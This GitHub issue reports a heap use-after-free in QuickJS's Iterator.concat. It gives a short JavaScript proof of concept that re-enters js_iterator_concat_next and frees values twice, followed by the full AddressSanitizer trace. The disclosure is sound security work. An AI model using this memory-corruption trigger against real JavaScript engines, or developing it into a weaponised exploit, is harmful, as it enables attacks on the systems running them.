Skip to content

Heap use-after-free in Iterator.concat (js_iterator_concat_next) #1368

@im-razvan

Description

@im-razvan

Overview

Iterator.concat in js_iterator_concat_next can be re-entered through user-controlled @@iterator.

js_iterator_concat_next stores pointers to obj/meth from it->values, then calls JS_GetIterator2, which executes user JS before it->running is set. The PoC calls it.return() during that re-entrant call, which frees/advances entries in it->values. Execution then resumes in js_iterator_concat_next and later frees stale *obj/*meth again, leading to stale-value double release (double JS_FreeValue) and resulting heap-use-after-free.

PoC

let it;
const evil = {
  [Symbol.iterator]() {
    it.return();
    return [][Symbol.iterator]();
  }
};
it = Iterator.concat(evil);
it.next();

ASAN output:

=================================================================
==13578==ERROR: AddressSanitizer: heap-use-after-free on address 0x507000005ce0 at pc 0x651ed948d85a bp 0x7ffd0fcc8540 sp 0x7ffd0fcc8530
READ of size 4 at 0x507000005ce0 thread T0
    #0 0x651ed948d859 in free_gc_object (/home/razvan/Desktop/quickjs/quickjs/build/qjs+0xaf859) (BuildId: e147d98a5737dbe96d554ad163b3dcaf21cdd933)
    #1 0x651ed948dc4b in js_free_value_rt (/home/razvan/Desktop/quickjs/quickjs/build/qjs+0xafc4b) (BuildId: e147d98a5737dbe96d554ad163b3dcaf21cdd933)
    #2 0x651ed95afeac in js_iterator_concat_next (/home/razvan/Desktop/quickjs/quickjs/build/qjs+0x1d1eac) (BuildId: e147d98a5737dbe96d554ad163b3dcaf21cdd933)
    #3 0x651ed9548dda in js_call_c_function (/home/razvan/Desktop/quickjs/quickjs/build/qjs+0x16adda) (BuildId: e147d98a5737dbe96d554ad163b3dcaf21cdd933)
    #4 0x651ed9459ce1 in JS_CallInternal (/home/razvan/Desktop/quickjs/quickjs/build/qjs+0x7bce1) (BuildId: e147d98a5737dbe96d554ad163b3dcaf21cdd933)
    #5 0x651ed945b44f in JS_CallInternal (/home/razvan/Desktop/quickjs/quickjs/build/qjs+0x7d44f) (BuildId: e147d98a5737dbe96d554ad163b3dcaf21cdd933)
    #6 0x651ed95a023b in js_async_function_resume (/home/razvan/Desktop/quickjs/quickjs/build/qjs+0x1c223b) (BuildId: e147d98a5737dbe96d554ad163b3dcaf21cdd933)
    #7 0x651ed95a435b in js_async_function_call (/home/razvan/Desktop/quickjs/quickjs/build/qjs+0x1c635b) (BuildId: e147d98a5737dbe96d554ad163b3dcaf21cdd933)
    #8 0x651ed95a4662 in js_execute_sync_module (/home/razvan/Desktop/quickjs/quickjs/build/qjs+0x1c6662) (BuildId: e147d98a5737dbe96d554ad163b3dcaf21cdd933)
    #9 0x651ed95a6575 in js_inner_module_evaluation (/home/razvan/Desktop/quickjs/quickjs/build/qjs+0x1c8575) (BuildId: e147d98a5737dbe96d554ad163b3dcaf21cdd933)
    #10 0x651ed95aa8f1 in JS_EvalFunction (/home/razvan/Desktop/quickjs/quickjs/build/qjs+0x1cc8f1) (BuildId: e147d98a5737dbe96d554ad163b3dcaf21cdd933)
    #11 0x651ed941453d in eval_buf (/home/razvan/Desktop/quickjs/quickjs/build/qjs+0x3653d) (BuildId: e147d98a5737dbe96d554ad163b3dcaf21cdd933)
    #12 0x651ed9412ff7 in main (/home/razvan/Desktop/quickjs/quickjs/build/qjs+0x34ff7) (BuildId: e147d98a5737dbe96d554ad163b3dcaf21cdd933)
    #13 0x72335d82a1c9 in __libc_start_call_main ../sysdeps/nptl/libc_start_call_main.h:58
    #14 0x72335d82a28a in __libc_start_main_impl ../csu/libc-start.c:360
    #15 0x651ed9413664 in _start (/home/razvan/Desktop/quickjs/quickjs/build/qjs+0x35664) (BuildId: e147d98a5737dbe96d554ad163b3dcaf21cdd933)

0x507000005ce0 is located 0 bytes inside of 72-byte region [0x507000005ce0,0x507000005d28)
freed by thread T0 here:
    #0 0x72335dcfc4d8 in free ../../../../src/libsanitizer/asan/asan_malloc_linux.cpp:52
    #1 0x651ed948dc4b in js_free_value_rt (/home/razvan/Desktop/quickjs/quickjs/build/qjs+0xafc4b) (BuildId: e147d98a5737dbe96d554ad163b3dcaf21cdd933)
    #2 0x651ed95afe76 in js_iterator_concat_next (/home/razvan/Desktop/quickjs/quickjs/build/qjs+0x1d1e76) (BuildId: e147d98a5737dbe96d554ad163b3dcaf21cdd933)
    #3 0x651ed9548dda in js_call_c_function (/home/razvan/Desktop/quickjs/quickjs/build/qjs+0x16adda) (BuildId: e147d98a5737dbe96d554ad163b3dcaf21cdd933)
    #4 0x651ed9459ce1 in JS_CallInternal (/home/razvan/Desktop/quickjs/quickjs/build/qjs+0x7bce1) (BuildId: e147d98a5737dbe96d554ad163b3dcaf21cdd933)
    #5 0x651ed945b44f in JS_CallInternal (/home/razvan/Desktop/quickjs/quickjs/build/qjs+0x7d44f) (BuildId: e147d98a5737dbe96d554ad163b3dcaf21cdd933)
    #6 0x651ed95a023b in js_async_function_resume (/home/razvan/Desktop/quickjs/quickjs/build/qjs+0x1c223b) (BuildId: e147d98a5737dbe96d554ad163b3dcaf21cdd933)
    #7 0x651ed95a435b in js_async_function_call (/home/razvan/Desktop/quickjs/quickjs/build/qjs+0x1c635b) (BuildId: e147d98a5737dbe96d554ad163b3dcaf21cdd933)
    #8 0x651ed95a4662 in js_execute_sync_module (/home/razvan/Desktop/quickjs/quickjs/build/qjs+0x1c6662) (BuildId: e147d98a5737dbe96d554ad163b3dcaf21cdd933)
    #9 0x651ed95a6575 in js_inner_module_evaluation (/home/razvan/Desktop/quickjs/quickjs/build/qjs+0x1c8575) (BuildId: e147d98a5737dbe96d554ad163b3dcaf21cdd933)
    #10 0x651ed95aa8f1 in JS_EvalFunction (/home/razvan/Desktop/quickjs/quickjs/build/qjs+0x1cc8f1) (BuildId: e147d98a5737dbe96d554ad163b3dcaf21cdd933)
    #11 0x651ed941453d in eval_buf (/home/razvan/Desktop/quickjs/quickjs/build/qjs+0x3653d) (BuildId: e147d98a5737dbe96d554ad163b3dcaf21cdd933)
    #12 0x651ed9412ff7 in main (/home/razvan/Desktop/quickjs/quickjs/build/qjs+0x34ff7) (BuildId: e147d98a5737dbe96d554ad163b3dcaf21cdd933)
    #13 0x72335d82a1c9 in __libc_start_call_main ../sysdeps/nptl/libc_start_call_main.h:58
    #14 0x72335d82a28a in __libc_start_main_impl ../csu/libc-start.c:360
    #15 0x651ed9413664 in _start (/home/razvan/Desktop/quickjs/quickjs/build/qjs+0x35664) (BuildId: e147d98a5737dbe96d554ad163b3dcaf21cdd933)

previously allocated by thread T0 here:
    #0 0x72335dcfd9c7 in malloc ../../../../src/libsanitizer/asan/asan_malloc_linux.cpp:69
    #1 0x651ed9480e97 in js_malloc (/home/razvan/Desktop/quickjs/quickjs/build/qjs+0xa2e97) (BuildId: e147d98a5737dbe96d554ad163b3dcaf21cdd933)
    #2 0x651ed94cceee in JS_NewObjectFromShape (/home/razvan/Desktop/quickjs/quickjs/build/qjs+0xeeeee) (BuildId: e147d98a5737dbe96d554ad163b3dcaf21cdd933)
    #3 0x651ed94cdcca in JS_NewObjectProtoClass (/home/razvan/Desktop/quickjs/quickjs/build/qjs+0xefcca) (BuildId: e147d98a5737dbe96d554ad163b3dcaf21cdd933)
    #4 0x651ed94d8406 in js_closure (/home/razvan/Desktop/quickjs/quickjs/build/qjs+0xfa406) (BuildId: e147d98a5737dbe96d554ad163b3dcaf21cdd933)
    #5 0x651ed945ec91 in JS_CallInternal (/home/razvan/Desktop/quickjs/quickjs/build/qjs+0x80c91) (BuildId: e147d98a5737dbe96d554ad163b3dcaf21cdd933)
    #6 0x651ed95a023b in js_async_function_resume (/home/razvan/Desktop/quickjs/quickjs/build/qjs+0x1c223b) (BuildId: e147d98a5737dbe96d554ad163b3dcaf21cdd933)
    #7 0x651ed95a435b in js_async_function_call (/home/razvan/Desktop/quickjs/quickjs/build/qjs+0x1c635b) (BuildId: e147d98a5737dbe96d554ad163b3dcaf21cdd933)
    #8 0x651ed95a4662 in js_execute_sync_module (/home/razvan/Desktop/quickjs/quickjs/build/qjs+0x1c6662) (BuildId: e147d98a5737dbe96d554ad163b3dcaf21cdd933)
    #9 0x651ed95a6575 in js_inner_module_evaluation (/home/razvan/Desktop/quickjs/quickjs/build/qjs+0x1c8575) (BuildId: e147d98a5737dbe96d554ad163b3dcaf21cdd933)
    #10 0x651ed95aa8f1 in JS_EvalFunction (/home/razvan/Desktop/quickjs/quickjs/build/qjs+0x1cc8f1) (BuildId: e147d98a5737dbe96d554ad163b3dcaf21cdd933)
    #11 0x651ed941453d in eval_buf (/home/razvan/Desktop/quickjs/quickjs/build/qjs+0x3653d) (BuildId: e147d98a5737dbe96d554ad163b3dcaf21cdd933)
    #12 0x651ed9412ff7 in main (/home/razvan/Desktop/quickjs/quickjs/build/qjs+0x34ff7) (BuildId: e147d98a5737dbe96d554ad163b3dcaf21cdd933)
    #13 0x72335d82a1c9 in __libc_start_call_main ../sysdeps/nptl/libc_start_call_main.h:58
    #14 0x72335d82a28a in __libc_start_main_impl ../csu/libc-start.c:360
    #15 0x651ed9413664 in _start (/home/razvan/Desktop/quickjs/quickjs/build/qjs+0x35664) (BuildId: e147d98a5737dbe96d554ad163b3dcaf21cdd933)

SUMMARY: AddressSanitizer: heap-use-after-free (/home/razvan/Desktop/quickjs/quickjs/build/qjs+0xaf859) (BuildId: e147d98a5737dbe96d554ad163b3dcaf21cdd933) in free_gc_object
Shadow bytes around the buggy address:
  0x507000005a00: 00 00 00 fa fa fa fa fa 00 00 00 00 00 00 00 00
  0x507000005a80: 00 fa fa fa fa fa fd fd fd fd fd fd fd fd fd fa
  0x507000005b00: fa fa fa fa 00 00 00 00 00 00 00 00 00 fa fa fa
  0x507000005b80: fa fa 00 00 00 00 00 00 00 00 00 fa fa fa fa fa
  0x507000005c00: 00 00 00 00 00 00 00 00 00 fa fa fa fa fa 00 00
=>0x507000005c80: 00 00 00 00 00 00 00 fa fa fa fa fa[fd]fd fd fd
  0x507000005d00: fd fd fd fd fd fa fa fa fa fa 00 00 00 00 00 00
  0x507000005d80: 00 00 00 fa fa fa fa fa 00 00 00 00 00 00 00 00
  0x507000005e00: 00 fa fa fa fa fa 00 00 00 00 00 00 00 00 00 fa
  0x507000005e80: fa fa fa fa 00 00 00 00 00 00 00 00 00 fa fa fa
  0x507000005f00: fa fa 00 00 00 00 00 00 00 00 00 fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07 
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
==13578==ABORTING

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions